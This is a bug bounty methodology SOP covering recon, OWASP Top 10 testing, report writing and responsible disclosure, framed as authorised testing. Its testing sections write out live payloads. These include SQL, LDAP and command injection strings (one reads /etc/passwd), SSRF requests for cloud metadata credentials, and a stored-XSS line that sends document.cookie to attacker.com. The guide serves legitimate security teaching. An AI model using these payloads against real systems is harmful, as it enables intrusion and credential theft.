Synced from an Obsidian vault

For graph and advanced features, download the full Intel Codex Vault and open it in Obsidian.

Bug Bounty Methodology SOP

Ethical bug hunting only. Follow program rules, respect scope, practice responsible disclosure.

---

Table of Contents

1. Pre-Engagement & Program Selection
2. Reconnaissance
3. Vulnerability Testing Methodology
4. Advanced Testing Techniques
5. Evidence Collection
6. Severity Assessment
7. Report Writing
8. Responsible Disclosure
9. Legal & Ethical Boundaries
10. Tools Reference
11. Common Pitfalls

---

1. Pre-Engagement & Program Selection

Choosing a Program

Major platforms:

• HackerOne - Largest platform, diverse programs
• Bugcrowd - Enterprise-focused programs
• Intigriti - European programs
• YesWeHack - European & government programs
• Synack - Vetted researcher platform (invite-only)
• HackenProof - Crypto/blockchain focus

Program selection criteria:

• Clear scope (domains, applications, APIs)
• Reasonable response time (< 7 days initial triage)
• Fair bounty ranges (avoid "swag-only" for critical findings)
• Responsive program team (check resolution metrics)
• Well-defined rules (no vague exclusions)

Understanding Scope

In-Scope Assets:

• Web applications (list specific URLs/domains)
• APIs (REST, GraphQL, SOAP endpoints)
• Mobile applications (iOS/Android)
• Desktop applications
• Specific subdomains or wildcards (*.example.com)

Out-of-Scope (Common):

• Third-party services/integrations
• Denial of Service (DoS)
• Social engineering
• Physical security
• SPF/DKIM/DMARC issues (often informational)
• Rate limiting (unless bypassed)
• Version disclosure without exploit

Rules of Engagement Checklist:

• Allowed testing hours (some restrict to business hours)
• Rate limits (requests/second, concurrent scans)
• Account creation allowed or test credentials provided
• Data handling rules (PII, user data)
• Disclosure timeline (90 days standard)
• Required communication channel (email, platform only)
• Identity disclosure requirements (anonymous vs KYC)

---

2. Reconnaissance

Passive Reconnaissance (No Direct Interaction)

Domain & Subdomain Discovery:

# Certificate transparency
curl -s "https://crt.sh/?q=%25.example.com&output=json" | jq -r '.[].name_value' | sort -u

# Subfinder
subfinder -d example.com -silent -o subdomains.txt

# Amass passive
amass enum -passive -d example.com -o amass_results.txt

# Shodan subdomain search (requires API key)
shodan search hostname:example.com

Technology Stack Fingerprinting:

# Wappalyzer (CLI)
wappy https://example.com

# WhatWeb
whatweb https://example.com -v

# BuiltWith lookup
curl -s "https://api.builtwith.com/v20/api.json?KEY=YOUR_KEY&LOOKUP=example.com"

GitHub/GitLab Reconnaissance:

# Search for company repos, leaked credentials, API keys
# Tools:
# - truffleHog: https://github.com/trufflesecurity/trufflehog
# - GitDorker: https://github.com/obheda12/GitDorker
# - Gitrob: https://github.com/michenriksen/gitrob

# Manual GitHub searches
site:github.com "example.com" password
site:github.com "example.com" api_key
site:github.com "example.com" secret

Google Dorking:

site:example.com filetype:pdf
site:example.com inurl:admin
site:example.com intitle:"index of"
site:example.com ext:php inurl:?id=
site:example.com inurl:login
site:example.com intext:"sql syntax near"
site:example.com ext:log | ext:txt | ext:conf

Wayback Machine (Historical Data):

# Check archived versions
curl -s "http://web.archive.org/cdx/search/cdx?url=example.com/*&output=json&collapse=urlkey"

# WaybackURLs tool
waybackurls example.com > urls.txt

Active Reconnaissance (Direct Interaction)

Port Scanning (if allowed):

# Nmap basic scan
nmap -sV -p- example.com

# Common web ports
nmap -p 80,443,8080,8443,3000,4443 example.com

# Service detection
nmap -sV -sC -p 1-10000 example.com

Directory Brute-Forcing:

# Ffuf (fast)
ffuf -u https://example.com/FUZZ -w /usr/share/wordlists/dirb/common.txt -mc 200,301,302,401,403

# Gobuster
gobuster dir -u https://example.com -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt

# Dirsearch
dirsearch -u https://example.com -e php,html,js,txt,json

# Feroxbuster (recursive)
feroxbuster -u https://example.com -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt

Parameter Discovery:

# Arjun (parameter fuzzing)
arjun -u https://example.com/api/user

# ParamSpider (from Wayback URLs)
python3 paramspider.py --domain example.com

JavaScript Analysis:

# Extract JS files
waybackurls example.com | grep -E "\.js$" | sort -u > js_files.txt

# LinkFinder (endpoints in JS)
python3 linkfinder.py -i https://example.com/app.js -o results.html

# JSScanner
nuclei -u https://example.com -t exposures/configs/ -t exposures/tokens/

# Manual: Search for API keys, endpoints, comments
curl -s https://example.com/app.js | grep -E "api_key|apiKey|secret|password|token|endpoint"

API Discovery:

# Check for common API paths
/api/v1/
/api/v2/
/graphql
/swagger
/api-docs
/openapi.json

# Swagger/OpenAPI enumeration
curl -s https://example.com/swagger.json | jq .
curl -s https://example.com/v2/swagger.json | jq .

---

3. Vulnerability Testing Methodology

OWASP Top 10 Testing

1. Broken Access Control

Insecure Direct Object Reference (IDOR):

# Test changing IDs in requests
GET /api/user/123/profile HTTP/1.1
# Try: /api/user/124/profile, /api/user/1/profile

# Test UUID/hash manipulation
GET /api/document/a1b2c3d4-e5f6 HTTP/1.1

# Check for sequential IDs
GET /invoice/1001 → 1002 → 1003

# Tools:
# - Burp Autorize extension
# - IDOR Scanner (custom scripts)

Horizontal/Vertical Privilege Escalation:

# Horizontal: Access another user's data (same privilege level)
GET /api/user/victim@example.com/settings HTTP/1.1
Cookie: session=attacker_session

# Vertical: Access admin functions as regular user
POST /admin/delete_user HTTP/1.1
Cookie: session=regular_user_session

Missing Function Level Access Control:

# Access admin endpoints without admin role
GET /admin/dashboard HTTP/1.1
POST /api/admin/promote_user HTTP/1.1

# Check for hidden admin panels
/admin, /administrator, /manage, /control-panel

2. Cryptographic Failures

Check for:

• Passwords transmitted in plaintext (HTTP not HTTPS)
• Sensitive data in URL parameters (tokens, passwords)
• Weak encryption algorithms (MD5, SHA1 for passwords)
• Hardcoded cryptographic keys in JavaScript
• Missing HSTS headers
• Mixed content (HTTPS page loading HTTP resources)

3. Injection Vulnerabilities

SQL Injection:

# Manual testing
https://example.com/product?id=1' OR '1'='1
https://example.com/search?q=test' UNION SELECT NULL--
https://example.com/user?id=1' AND SLEEP(5)--

# SQLMap (with permission)
sqlmap -u "https://example.com/product?id=1" --batch --dbs

# Time-based blind
https://example.com/search?q=test' AND IF(1=1,SLEEP(5),0)--

NoSQL Injection:

# MongoDB injection example
POST /login HTTP/1.1
Content-Type: application/json

{"username": {"$ne": null}, "password": {"$ne": null}}

# Check for:
$where, $regex, $gt, $lt, $ne operators

Command Injection:

# Common injection points
ping -c 1 127.0.0.1; whoami
file.txt; ls -la
file.txt && cat /etc/passwd
file.txt | whoami
file.txt `whoami`
file.txt $(whoami)

# Blind command injection (time-based)
ping -c 10 127.0.0.1
sleep 10

LDAP Injection:

# Bypass authentication
user=*)(uid=*))(|(uid=*
password=anything

# Extract data
*)(objectClass=*

XPath Injection:

' or '1'='1
' or 1=1 or 'a'='a

4. Cross-Site Scripting (XSS)

Reflected XSS:

<!-- Test in search, error messages, URL parameters -->
<script>alert(document.domain)</script>
<img src=x onerror=alert(1)>
<svg onload=alert(1)>
<iframe src="javascript:alert(1)">

<!-- Bypass filters -->
&lt;ScRiPt&gt;alert(1)</sCrIpT>
<img src=x onerror="&#97;&#108;&#101;&#114;&#116;&#40;&#49;&#41;">

Stored XSS:

<!-- Test in: profiles, comments, messages, file uploads -->
<script>fetch('https://attacker.com?cookie='+document.cookie)</script>

<!-- Persistence checks -->
Update profile bio with: <script>alert(1)</script>
Create comment: <img src=x onerror=alert(1)>

DOM-based XSS:

// Check JavaScript that processes URL fragments
https://example.com/#<script>alert(1)</script>
https://example.com/#<img src=x onerror=alert(1)>

// Tools:
// - DOM Invader (Burp Suite extension)
// - Manual code review of JavaScript

5. Security Misconfiguration

Check for:

# Default credentials
admin:admin, admin:password, root:root

# Directory listing
https://example.com/uploads/
https://example.com/backups/

# Exposed config files
/.env, /config.php, /web.config, /.git/config

# Debug mode enabled
https://example.com/?debug=true
https://example.com/?XDEBUG_SESSION_START=1

# Verbose error messages
SQL errors, stack traces, framework versions

# Missing security headers
curl -I https://example.com
# Check for: HSTS, CSP, X-Frame-Options, X-Content-Type-Options

6. Vulnerable and Outdated Components

# Identify versions
Wappalyzer, WhatWeb, BuiltWith

# Check for known CVEs
# - WordPress: wpscan --url https://example.com
# - Drupal: droopescan scan drupal -u https://example.com
# - npm: npm audit (if you have access to package.json)

# Retire.js (JavaScript library vulnerabilities)
retire --js https://example.com

# Nuclei (automated CVE scanning)
nuclei -u https://example.com -t cves/

7. Authentication Failures

Weak Password Policy:

# Test registration with weak passwords
password, 123456, admin, test

# No complexity requirements
# No length requirements
# Common passwords accepted

Credential Stuffing/Brute Force:

# Check for rate limiting
# Use Burp Intruder or Hydra (with permission)

# Lack of account lockout
# No CAPTCHA after X failed attempts
# Predictable session tokens

Session Management Issues:

# Session fixation
# Session doesn't regenerate after login

# Weak session tokens
Cookie: session=user123
# Predictable or guessable tokens

# No session timeout
# Sessions valid indefinitely

# Session tokens in URL
https://example.com/dashboard?session=abc123

8. Software and Data Integrity Failures

Check for:

• Missing integrity checks (SRI for CDN resources)
• Insecure deserialization (Java, Python pickle, PHP unserialize)
• Auto-update without signature verification
• CI/CD pipeline vulnerabilities

9. Security Logging and Monitoring Failures

Test for:

• No logging of authentication failures
• No alerting on suspicious activity
• Logs contain sensitive data (passwords, tokens)
• No audit trail for privileged actions

10. Server-Side Request Forgery (SSRF)

# Test URL parameters that fetch external resources
https://example.com/fetch?url=http://attacker.com
https://example.com/proxy?url=http://169.254.169.254/latest/meta-data/

# AWS metadata endpoint (SSRF to cloud)
http://169.254.169.254/latest/meta-data/iam/security-credentials/

# Internal network scan
https://example.com/fetch?url=http://127.0.0.1:22
https://example.com/fetch?url=http://192.168.1.1

# Bypass filters
http://127.0.0.1 → http://127.1 → http://[::1] → http://localhost

---

4. Advanced Testing Techniques

Business Logic Vulnerabilities

Race Conditions:

# Parallel requests to exploit timing
# Example: Redeem coupon multiple times
# Tool: Turbo Intruder (Burp Suite)

# Test with:
# - Simultaneous fund transfers
# - Parallel coupon redemptions
# - Concurrent vote submissions

Price Manipulation:

POST /checkout HTTP/1.1
Content-Type: application/json

{"item_id": 123, "price": 0.01, "quantity": 1}
# Try negative prices: -10
# Try zero: 0

OAuth/SAML Vulnerabilities:

# OAuth: Test for:
- Missing state parameter (CSRF)
- Redirect URI manipulation
- Token leakage via Referer header

# SAML: Test for:
- XML signature wrapping
- Comment injection
- Assertion replay

API-Specific Testing

Mass Assignment:

POST /api/user/update HTTP/1.1
Content-Type: application/json

{"email": "test@example.com", "is_admin": true, "role": "admin"}
# Try adding fields not in UI: is_admin, role, verified, etc.

GraphQL Testing:

# Introspection (if enabled)
query {
  __schema {
    types {
      name
      fields {
        name
      }
    }
  }
}

# Batch queries (DoS potential)
query {
  user1: user(id: 1) { name }
  user2: user(id: 2) { name }
  # ... repeat 1000 times
}

# Nested queries (resource exhaustion)
query {
  posts {
    author {
      posts {
        author {
          posts { ... }
        }
      }
    }
  }
}

---

5. Evidence Collection

Screenshot Requirements

Must include:

• Full URL in browser address bar
• Timestamp (system clock or include online timestamp)
• Unique identifier (your test account name, custom header)
• Impact demonstration (successful exploit, not just vulnerability indicator)

Mask sensitive data:

• Other users' PII (names, emails, addresses)
• Internal IPs (if not critical to finding)
• Full session tokens (show last 4 chars only)

Request/Response Capture

Burp Suite workflow:

1. Enable Proxy → Intercept
2. Send request to Repeater
3. Show original request (before exploit)
4. Show modified request (with payload)
5. Show response demonstrating impact
6. Save to file: Right-click → Save item

Example format:

========== ORIGINAL REQUEST ==========
GET /api/user/123/profile HTTP/1.1
Host: example.com
Cookie: session=abc123xyz

========== RESPONSE ==========
HTTP/1.1 200 OK
{"user_id": 123, "email": "me@example.com"}

========== EXPLOIT REQUEST ==========
GET /api/user/456/profile HTTP/1.1
Host: example.com
Cookie: session=abc123xyz

========== VULNERABLE RESPONSE ==========
HTTP/1.1 200 OK
{"user_id": 456, "email": "victim@example.com", "ssn": "123-45-6789"}

Video Proof-of-Concept

When to use:

• Complex multi-step exploits
• Race conditions
• Real-time demonstrations (clickjacking, XSS)

Tools:

• OBS Studio (free screen recorder)
• ShareX (Windows)
• Kap (macOS)

Best practices:

• Keep under 3 minutes
• Narrate steps clearly
• Show URL bar at all times
• Upload to YouTube (unlisted) or Vimeo

---

6. Severity Assessment

CVSS Scoring (if required by program)

Use CVSS calculator:

• FIRST CVSS Calculator

Common scores:

• Critical (9.0-10.0): RCE, SQL injection with full DB access, authentication bypass
• High (7.0-8.9): Stored XSS, IDOR with sensitive data, privilege escalation
• Medium (4.0-6.9): Reflected XSS, CSRF, information disclosure
• Low (0.1-3.9): CAPTCHA bypass, rate limiting issues, minor info leaks

Program-Specific Rubrics

Example impact rating:

Critical:
- Account takeover without user interaction
- Remote code execution
- Full database extraction

High:
- Account takeover with user interaction
- Access to sensitive data (PII, financial)
- Privilege escalation to admin

Medium:
- Limited data exposure
- CSRF on state-changing actions
- Stored XSS on low-traffic pages

Low:
- Self-XSS
- Open redirect (no additional impact)
- SPF/DMARC misconfigurations

---

7. Report Writing

Report Structure

1. Title

[Severity] Vulnerability Type on Asset/Endpoint

Examples:
[Critical] SQL Injection in /api/search allows full database access
[High] IDOR in /api/user/{id} exposes all user PII
[Medium] Stored XSS in user profile bio field

2. Summary

A brief (1-2 sentence) description of the vulnerability and impact.

Example:
The /api/search endpoint is vulnerable to SQL injection via the 'query'
parameter, allowing an unauthenticated attacker to extract the entire
user database including passwords and payment information.

3. Steps to Reproduce

Provide clear, minimal steps:

1. Navigate to https://example.com/search
2. Enter the following payload in the search box: ' OR 1=1--
3. Submit the search
4. Observe that all database records are returned in the response

Include:
- Exact URLs
- Exact payloads (copy-pasteable)
- Required preconditions (logged in/out, specific browser, etc.)
- Expected vs actual results

4. Proof of Concept

- Screenshots (annotated)
- HTTP request/response (sanitized)
- Video demonstration (if applicable)
- Code snippet showing vulnerable code (if available)

5. Impact

Explain business impact:
- What data can be accessed/modified/deleted?
- How many users are affected?
- What actions can attacker perform?
- Compliance implications (GDPR, PCI-DSS, etc.)

Example:
An attacker can extract all user records including emails, hashed
passwords, and payment card data. This affects all 50,000+ users and
represents a critical PCI-DSS compliance violation. Attackers could
use this data for credential stuffing attacks or sell the database
on underground forums.

6. Remediation

Provide specific, actionable fixes:

Vulnerable code (if known):
query = "SELECT * FROM users WHERE name = '" + user_input + "'"

Secure code:
query = "SELECT * FROM users WHERE name = ?"
cursor.execute(query, (user_input,))

Recommendations:
- Use parameterized queries for all SQL statements
- Implement input validation (whitelist allowed characters)
- Apply principle of least privilege to database accounts
- Enable SQL injection detection in WAF

7. References

- OWASP SQL Injection: https://owasp.org/www-community/attacks/SQL_Injection
- CWE-89: https://cwe.mitre.org/data/definitions/89.html
- Similar vulnerability in Program X (if public)

Report Template Example

Example Report Format:

Title: [Critical] SQL Injection in /api/search Endpoint

Summary:
The /api/search endpoint does not properly sanitize user input in the 'query'
parameter, allowing SQL injection attacks. An unauthenticated attacker can
extract the entire database, including user credentials and payment information.

Vulnerability Details:
- Asset: https://example.com/api/search
- Vulnerability Type: SQL Injection (CWE-89)
- Severity: Critical (CVSS 9.8)
- Affected Component: Search API v1
- Authentication Required: No

Steps to Reproduce:
1. Send the following HTTP request:
   GET /api/search?query=test%27%20OR%201=1-- HTTP/1.1
   Host: example.com

2. Observe the response contains all user records:
   {"results": [
     {"id": 1, "email": "user1@example.com", "password_hash": "..."},
     {"id": 2, "email": "user2@example.com", "password_hash": "..."},
     ...
   ]}

Proof of Concept:
[Screenshot showing SQL injection payload and response]
[Video demonstration: https://youtu.be/xxx]

Impact:
- Data Exposure: All user records (50,000+ users)
- Affected Data: Emails, password hashes, names, addresses, payment tokens
- Business Impact: PCI-DSS violation, regulatory fines, reputation damage
- Attack Complexity: Low (single HTTP request, no authentication required)

Remediation:
Immediate:
1. Deploy WAF rule to block SQL injection patterns
2. Disable the vulnerable endpoint until patched

Permanent Fix:
Replace dynamic query with parameterized statement:
  # Vulnerable
  query = f"SELECT * FROM users WHERE name LIKE '%{user_input}%'"

  # Secure
  query = "SELECT * FROM users WHERE name LIKE %s"
  cursor.execute(query, (f"%{user_input}%",))

Additional Recommendations:
- Implement input validation (whitelist alphanumeric + common punctuation)
- Use ORM with built-in SQL injection protection
- Apply least privilege to database user (read-only for search operations)
- Enable query logging and monitoring for anomalous patterns

References:
- OWASP SQL Injection: https://owasp.org/www-community/attacks/SQL_Injection
- CWE-89: https://cwe.mitre.org/data/definitions/89.html
- OWASP SQL Injection Prevention Cheat Sheet:
  https://cheatsheetseries.owasp.org/cheatsheets/SQL_Injection_Prevention_Cheat_Sheet.html

Timeline:
- 2025-10-05 10:00 UTC: Vulnerability discovered
- 2025-10-05 11:30 UTC: Report submitted

---

8. Responsible Disclosure

Communication Best Practices

Initial report:

• Be professional and respectful
• Avoid hyperbole ("this will destroy your company")
• Provide all necessary details upfront
• Suggest a disclosure timeline (90 days standard)

Follow-up:

• Respect triage time (5-7 business days typical)
• Respond promptly to questions
• Provide additional PoC if requested
• Don't spam with duplicate reports

Handling triage outcomes:

Accepted:

• Thank the team
• Await fix deployment
• Perform retest when requested
• Confirm fix resolved issue

Duplicate:

• Ask for reference to original report
• Request credit if your report added value
• Move on to next target

Informational/Low Priority:

• Understand their business context
• Accept decision gracefully
• Consider impact rating accuracy

Not Applicable:

• Verify you understood scope correctly
• Ask for clarification if needed
• Don't argue; ask for feedback

Disclosure Timeline

Standard 90-day disclosure:

• Day 0: Report submitted
• Day 7: Initial triage complete
• Day 30: Patch development
• Day 60: Patch deployed to staging
• Day 90: Patch in production; public disclosure allowed (with program approval)

Early disclosure (with permission):

• Critical vulnerabilities actively exploited
• Vendor requests early publication
• Patch deployed and vendor confirms readiness

Extended disclosure:

• Complex fixes requiring architectural changes
• Coordinate with vendor if they request extension
• Document extension agreement

---

9. Legal & Ethical Boundaries

What NOT to Do

❌ Never:

• Test out-of-scope assets
• Perform denial of service attacks
• Access or exfiltrate user data beyond minimal PoC
• Pivot to internal networks without explicit permission
• Social engineer employees
• Destroy or modify data
• Use automated scanners without program permission
• Publicly disclose before vendor approval
• Submit automated/mass scanner reports without validation
• Test from multiple accounts to bypass rate limits (unless allowed)

Safe Harbor & Legal Protection

Before testing:

• Verify program has safe harbor clause
• Confirm authorization is explicit in program policy
• Use dedicated testing infrastructure (VPN, isolated VM)
• Keep detailed logs of all testing activity
• Stop immediately if legal contact is received

If threatened legally:

• Cease all testing immediately
• Do not delete evidence
• Contact program coordinator (if via platform)
• Consult legal counsel
• Provide cooperation with good-faith disclosure evidence

---

10. Tools Reference

Tool	Purpose	Link
Burp Suite	Web proxy & scanner	portswigger.net/burp
OWASP ZAP	Free web scanner	zaproxy.org
Nuclei	Template-based scanner	github.com/projectdiscovery/nuclei
Ffuf	Fast fuzzer	github.com/ffuf/ffuf
SQLMap	SQL injection tool	sqlmap.org
Subfinder	Subdomain discovery	github.com/projectdiscovery/subfinder
Amass	Attack surface mapping	github.com/owasp-amass/amass
LinkFinder	JS endpoint extraction	github.com/GerbenJavado/LinkFinder
GitDorker	GitHub secrets	github.com/obheda12/GitDorker
Arjun	Parameter discovery	github.com/s0md3v/Arjun

---

11. Common Pitfalls

• ❌ Testing without reading program rules thoroughly
• ❌ Submitting low-quality reports (no PoC, vague steps)
• ❌ Reporting known issues (duplicates waste time)
• ❌ Using automated scanner output without validation
• ❌ Expecting instant responses (triage takes time)
• ❌ Arguing with triage decisions
• ❌ Testing production with destructive payloads
• ❌ Not sanitizing PII in reports
• ❌ Submitting informational issues as critical
• ❌ Ignoring scope restrictions ("but it's a vulnerability!")
• ❌ Burning out by focusing only on high-competition programs

---

Related SOPs

Analysis:

• Reverse Engineering - Binary analysis for complex vulnerabilities
• Cryptography Analysis - Cryptographic vulnerability research
• Malware Analysis - Understanding exploitation techniques

Pentesting & Security:

• Web Application Security - Web vulnerability hunting techniques
• Mobile Security - Mobile app bug bounty hunting
• Vulnerability Research - Advanced vulnerability discovery methods
• Linux Pentesting - Server-side vulnerability identification
• Active Directory Pentesting - Enterprise environment testing
• Detection Evasion Testing - Bypassing security controls
• Forensics Investigation - Understanding attack patterns